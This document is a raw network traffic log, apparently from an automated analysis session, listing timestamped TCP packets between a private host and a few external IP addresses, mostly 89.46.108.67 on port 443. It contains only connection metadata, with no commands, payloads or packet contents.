Jan 9, 2025 13:19:21.340567112 CET	49778	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.378469944 CET	49777	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.378479004 CET	443	49777	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.385277987 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.385318995 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.385335922 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.385415077 CET	49776	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.385427952 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.385461092 CET	49776	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.385484934 CET	49776	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.386408091 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.386449099 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.386491060 CET	49776	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.386495113 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.386513948 CET	49776	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.386538982 CET	49776	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.387094021 CET	49776	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.387105942 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.387331963 CET	443	49778	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.387571096 CET	49782	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.387603998 CET	443	49782	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.387949944 CET	49782	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.388276100 CET	49782	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.388287067 CET	443	49782	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.457503080 CET	49680	80	192.168.2.16	192.229.211.108
Jan 9, 2025 13:19:21.514744997 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.515048027 CET	49779	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.515062094 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.515434027 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.515739918 CET	49779	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.515806913 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.515897989 CET	49779	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.559329987 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.569447994 CET	49779	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.681215048 CET	443	49778	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.681314945 CET	443	49778	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.681384087 CET	49778	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.682331085 CET	49778	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.682344913 CET	443	49778	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.682826996 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.682868004 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.682940006 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.683516026 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.683528900 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.687073946 CET	443	49777	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.687154055 CET	443	49777	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.687210083 CET	49777	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.687897921 CET	49777	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.687918901 CET	443	49777	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.688381910 CET	49784	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.688410044 CET	443	49784	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.688626051 CET	49784	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.688976049 CET	49784	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.688998938 CET	443	49784	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.892328024 CET	443	49780	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.892779112 CET	49780	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.892805099 CET	443	49780	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.893920898 CET	443	49780	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.894310951 CET	49780	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.894484997 CET	49780	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.894491911 CET	443	49780	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.935331106 CET	443	49780	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.937465906 CET	49780	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.945070982 CET	443	49781	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.945400000 CET	49781	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.945422888 CET	443	49781	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.945720911 CET	443	49781	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.946084976 CET	49781	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.946146011 CET	443	49781	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.946252108 CET	49781	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.981509924 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.981539011 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.981548071 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.981578112 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.981599092 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.981612921 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.981638908 CET	49779	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.981677055 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.981709003 CET	49779	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.981736898 CET	49779	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.982876062 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.982916117 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.982955933 CET	49779	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.982966900 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.982983112 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.983016968 CET	49779	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.983051062 CET	49779	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.983424902 CET	49779	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.983443022 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.983861923 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.983906984 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.983998060 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.984653950 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.984667063 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.987339020 CET	443	49781	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.001437902 CET	49781	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.130106926 CET	443	49782	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.130517006 CET	49782	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.130552053 CET	443	49782	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.130925894 CET	443	49782	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.131359100 CET	49782	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.131422043 CET	443	49782	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.131513119 CET	49782	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.175337076 CET	443	49782	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.260787010 CET	443	49780	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.260852098 CET	443	49780	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.260895967 CET	443	49780	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.260934114 CET	49780	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.260951996 CET	443	49780	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.260994911 CET	49780	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.261042118 CET	443	49780	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.261428118 CET	49780	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.261822939 CET	49780	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.261837959 CET	443	49780	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.263334036 CET	49786	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.263369083 CET	443	49786	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.264056921 CET	49786	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.264056921 CET	49786	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.264094114 CET	443	49786	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.293376923 CET	443	49781	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.293440104 CET	443	49781	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.293637991 CET	49781	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.293656111 CET	443	49781	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.293708086 CET	49781	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.294333935 CET	49781	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.294578075 CET	443	49781	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.294764996 CET	443	49781	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.294789076 CET	49787	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.294811964 CET	49781	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.294836998 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.294856071 CET	49781	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.295721054 CET	49787	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.295948029 CET	49787	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.295964956 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.374023914 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.374517918 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.374557018 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.375713110 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.376025915 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.376147032 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.376153946 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.376203060 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.381757975 CET	443	49784	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.381938934 CET	49784	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.381959915 CET	443	49784	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.382297993 CET	443	49784	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.382606030 CET	49784	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.382606030 CET	49784	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.382622957 CET	443	49784	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.382663965 CET	443	49784	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.430576086 CET	49784	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.430593014 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.615816116 CET	443	49782	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.615849972 CET	443	49782	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.615896940 CET	443	49782	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.616183996 CET	49782	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.616221905 CET	443	49782	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.616314888 CET	49782	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.617017984 CET	49782	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.617038012 CET	443	49782	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.617332935 CET	49788	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.617367983 CET	443	49788	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.617455006 CET	49788	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.617753983 CET	49788	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.617763996 CET	443	49788	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.669567108 CET	49680	80	192.168.2.16	192.229.211.108
Jan 9, 2025 13:19:22.690376997 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.690680027 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.690704107 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.691896915 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.691972971 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.692362070 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.692430973 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.692552090 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.692557096 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.732435942 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.749145985 CET	443	49784	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.749672890 CET	443	49784	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.749768019 CET	49784	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.750391006 CET	49784	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.750403881 CET	443	49784	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.750719070 CET	49789	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.750755072 CET	443	49789	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.750828981 CET	49789	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.751346111 CET	49789	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.751367092 CET	443	49789	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.829102993 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.829129934 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.829138041 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.829150915 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.829159021 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.829164028 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.829211950 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.829287052 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.829328060 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.829370022 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.831916094 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.831933022 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.831989050 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.832010984 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.832042933 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.874492884 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.941792011 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.941806078 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.941842079 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.942183018 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.942246914 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.942389011 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.943454981 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.943511009 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.943561077 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.943574905 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.943612099 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.943639994 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.944912910 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.944957972 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.945000887 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.945019007 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.945054054 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.945080996 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.967719078 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.967751980 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.967912912 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:22.967947006 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:22.968028069 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.047043085 CET	443	49730	216.58.212.132	192.168.2.16
Jan 9, 2025 13:19:23.047118902 CET	443	49730	216.58.212.132	192.168.2.16
Jan 9, 2025 13:19:23.047307014 CET	49730	443	192.168.2.16	216.58.212.132
Jan 9, 2025 13:19:23.054299116 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.054322958 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.054522991 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.054599047 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.054739952 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.055273056 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.055286884 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.055357933 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.055372000 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.055429935 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.056500912 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.056515932 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.056611061 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.056643963 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.056706905 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.057513952 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.057555914 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.057588100 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.057596922 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.057651043 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.057852983 CET	49783	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.057878971 CET	443	49783	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.066657066 CET	443	49786	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.066952944 CET	49786	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.066968918 CET	443	49786	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.067476034 CET	443	49786	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.067819118 CET	49786	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.067879915 CET	443	49786	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.067960978 CET	49786	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.074517965 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.074851990 CET	49787	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.074877024 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.075242043 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.075552940 CET	49787	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.075622082 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.075717926 CET	49787	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.111327887 CET	443	49786	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.123333931 CET	443	49787	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.146536112 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.146562099 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.146569967 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.146617889 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.146666050 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.146737099 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.146758080 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.146790981 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.146826982 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.147988081 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.148005009 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.148163080 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.148176908 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.192451954 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.259418964 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.259435892 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.259500980 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.259584904 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.259596109 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.259618998 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.259643078 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.260396957 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.260413885 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.260479927 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.260484934 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.260534048 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.262123108 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.262140989 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.262212992 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.262218952 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.262267113 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.262926102 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.262999058 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.263003111 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.263015985 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.263051987 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.263215065 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.263237000 CET	443	49785	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.263248920 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.263287067 CET	49785	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.266315937 CET	49730	443	192.168.2.16	216.58.212.132
Jan 9, 2025 13:19:23.266343117 CET	443	49730	216.58.212.132	192.168.2.16
Jan 9, 2025 13:19:23.305679083 CET	443	49788	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.306011915 CET	49788	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.306035995 CET	443	49788	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.306504965 CET	443	49788	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.306881905 CET	49788	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.306905985 CET	49788	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.306911945 CET	443	49788	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.306974888 CET	443	49788	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.352468967 CET	49788	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.392949104 CET	49790	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.392991066 CET	443	49790	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.393080950 CET	49790	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.393264055 CET	49790	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.393270969 CET	443	49790	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.412059069 CET	443	49786	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.412112951 CET	443	49786	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.412161112 CET	443	49786	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.412193060 CET	49786	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.412209034 CET	443	49786	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.412235022 CET	49786	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.412339926 CET	443	49786	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.412401915 CET	49786	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.412810087 CET	49786	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.412825108 CET	443	49786	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.415164948 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.415211916 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.415296078 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.415513039 CET	49791	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.415528059 CET	443	49791	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.431862116 CET	443	49789	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:23.432116985 CET	49789	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:23.432133913 CET	443	49789	89.46.108.67	192.168.2.16
